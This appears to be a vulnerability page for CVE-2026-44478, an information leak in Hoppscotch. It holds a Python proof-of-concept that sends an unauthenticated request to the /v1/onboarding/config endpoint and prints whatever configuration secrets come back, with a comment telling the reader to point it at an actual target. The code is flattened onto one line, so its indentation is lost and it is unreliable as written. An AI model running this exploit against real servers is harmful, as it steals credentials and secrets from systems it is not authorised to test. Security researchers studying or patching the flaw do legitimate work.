CVE-2026-44478 Hoppscotch敏感信息泄露漏洞

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-44478 Checks if the /v1/onboarding/config endpoint leaks secrets. """ endpoint = f"{target_url.rstrip('/')}/v1/onboarding/config" try: # Send unauthenticated GET request response = requests.get(endpoint, timeout=10) if response.status_code == 200: # Check if response looks like a config with secrets data = response.json() if data: # Assuming non-empty JSON response indicates leakage print("[!] Vulnerability confirmed! Sensitive data leaked:") print(response.text) return True else: print(f"[-] Target not vulnerable or patched. Status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") return False if __name__ == "__main__": target = "http://localhost:3000" # Replace with actual target check_vulnerability(target)